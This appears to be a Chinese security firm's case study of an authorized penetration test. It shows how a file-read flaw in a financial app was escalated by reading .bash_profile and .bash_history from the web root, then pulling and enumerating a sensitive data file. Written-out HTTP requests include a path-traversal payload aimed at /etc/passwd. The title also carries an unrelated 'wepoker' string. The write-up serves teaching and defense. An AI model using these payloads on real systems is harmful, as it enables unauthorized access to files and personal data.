证券简称:天融信 证券代码:002212
全天候7x24小时服务: 400-777-0777

案例分享丨一次文件读取漏洞的“危害升级”历程-wepoker官网

在授权测试某金融类app时,发现一个鸡肋低危文件读取漏洞,尝试将其升级为高危。发现首次打开app时,会向服务器读取文件加载并展示图片。测试时一定要细心,笔者发现只有首次打开app时,才会加载图片,后面再打开应该是资源已被记录,就不会向服务器再次进行请求了。
发布时间:2022-11-04
浏览次数:2275
分享:

在授权测试某金融类app时,发现一个鸡肋低危文件读取漏洞,尝试将其升级为高危。

ps:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。

0x00 初步探测

发现首次打开app时,会向服务器读取文件加载并展示图片。

测试时一定要细心,笔者发现只有首次打开app时,才会加载图片,后面再打开应该是资源已被记录,就不会向服务器再次进行请求了。

此加载展示图片的get请求数据包如下:

get /ixxx/lgonimage.do?xxxxximagedir=/xxxxx/pictures&savexxxxximagename=this_is_image.jpg http/1.1

host: xxxxx.com

connection: close

user-agent: mozilla/5.0

accept-encoding: gzip, deflate

accept-language: zh-cn,en-us;q=0.8

拿到这个数据包的第一反应,以往的渗透测试经验告诉我,从这个地方大概路会存在文件读取漏洞。

分析并猜测功能点uri的每个参数的功能。

logonimagedir=/xxxxx/pictures - 图片所在的目录

savexxxxximagename=this_is_image.jpg - 目录下的图片名

0x01 漏洞测试

既然已经初步探测到了可能存在漏洞的风险点,并且文件读取功能的参数已经搞清楚,下一步就展开读取测试。

首先测试,是否可以进行目录列出,直接将savexxxxximagename参数置空,看看是否可以读取/xxxxx/pictures目录下的内容:

get /ixxx/logonimage.do?xxxxximagedir=/xxxxx/pictures&savexxxxximagename= http/1.1

host: xxxxx.com

connection: close

user-agent: mozilla/5.0

accept-encoding: gzip, deflate

accept-language: zh-cn,en-us;q=0.8

返回为“空”,失败,说明程序功能点不存在列出目录漏洞:

测试是否可以跳出目录,选用payload如下:

get /ixxx/logonimage.do?xxxxximagedir=/xxxxx/pictures/../../../../../../etc/&savexxxxximagename=passwd http/1.1

host: xxxxx.com

connection: close

user-agent: mozilla/5.0

accept-encoding: gzip, deflate

accept-language: zh-cn,en-us;q=0.8

返回某恒防火墙拦截界面,失败:

接下来进一步测试,是/etc/passwd触发的waf,还是/../触发的waf。

测试只进行一层目录跳出,并且删除/etc/passwd关键字:

get /ixxx/logonimage.do?xxxxximagedir=/xxxxx/pictures/../&savexxxxximagename= http/1.1

host: xxxxx.com

connection: close

user-agent: mozilla/5.0

accept-encoding: gzip, deflate

accept-language: zh-cn,en-us;q=0.8

唔...看来/../的特殊字符就已经触发了waf:

之后想到尝试对数据包进行post类型转换,使用post传参的一些方式进行waf的测试,如:

url编码

分块传输

脏数据填充

包体转换

畸形数据包

......

但是无奈,post请求直接无法传参,程序限制了get请求接收参数。

(不过,后来测试其他post传参的功能时,发现以笔者现有的waf绕过经验思路,根本无法对某恒的waf进行绕过.....)

0x02 漏洞确认

总结以上对此文件读取漏洞收集到的信息:

目录无法跨越,并且文件读取的路径在当前根目录;

特殊字符串,已被waf完美防护住;

无法获取目录下的文件名、无法预知是否可以读取其他后缀文件。

测试到这里突然灵光一闪,想到了“.bash_history”,如果网站根目录存在此文件,并且可以读取,上面的疑问就可以直接解决大半了,先来了解一下这些文件作用:

.bash_profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行。

.bash_history:该文件保存了当前用户输入过的历史命令;

.bash_logout:该文件的用途是用户注销时执行的命令,默认为空;

.bashrc:此文件为每一个运行bash shell的用户执行此文件。当bash shell被打开时,该文件被读取。

于是直接对网站根目录进行.bash_profile的盲测:

get /ixxx/logonimage.do?xxxxximagedir=/&savexxxxximagename=.bash_profile http/1.1

host: xxxxx.com

connection: close

user-agent: mozilla/5.0

accept-encoding: gzip, deflate

accept-language: zh-cn,en-us;q=0.8

此payload既避免了跳出目录,又避开了waf严打的特殊字符,但是唯一遗漏的.bash文件被我们利用到了。

激动的心颤抖的手,看来当前网站根目录确实是此用户的目录,并且用户在此根目录下执行过命令!

接下来尝试进一步扩大危害。

0x03 危害升级

不清楚当前目录结构,就代表着无法定向读取文件,但是还有一个.bash_history我们没有利用到,看看是否可以在其中获取到更重要的信息。

读取根目录下的.bash_history:

get /ixxx/logonimage.do?xxxxximagedir=/&savexxxxximagename=.bash_history http/1.1

host: xxxxx.com

connection: close

user-agent: mozilla/5.0

accept-encoding: gzip, deflate

accept-language: zh-cn,en-us;q=0.8

信息量虽然少,但是已经有了新的进展:

由历史命令得知,管理员cd进入了两层目录:/nxxxx/xxfile/

并且查看了xx_20201022_51xxx.txt文件。

直接构造读取此文件!

get /ixxx/logonimage.do?xxxxximagedir=/nxxxx/xxfile&savexxxxximagename=xx_20201022_51xxx.txt http/1.1

host: xxxxx.com

connection: close

user-agent: mozilla/5.0

accept-encoding: gzip, deflate

accept-language: zh-cn,en-us;q=0.8

成功读取到了敏感的数据信息:

并且文件的id值为时间戳 id顺序编号组成,可轻松遍历出全部的信息。

burpsuite intruder模块测试:

尝试遍历10个id值成功。

0x04 回首总结

存在的难题:目录无法跨越、waf盯防、无法预知目录文件结构。

在此情况下,利用linux文件系统特性,仍然可以将低危漏洞提升至高危。

并且危害的等级高低是无法预估的,这取决于.bash_history会给我们泄露多少信息,所以文件读取漏洞存在时间越久,记录的东西越多,危害越大!

关键词标签:
网络安全 文件读取漏洞,
在线咨询





在线留言





客户服务热线

400-777-0777
7*24小时服务

联系邮箱

servicing@topsec.com.cn

扫码关注
网站地图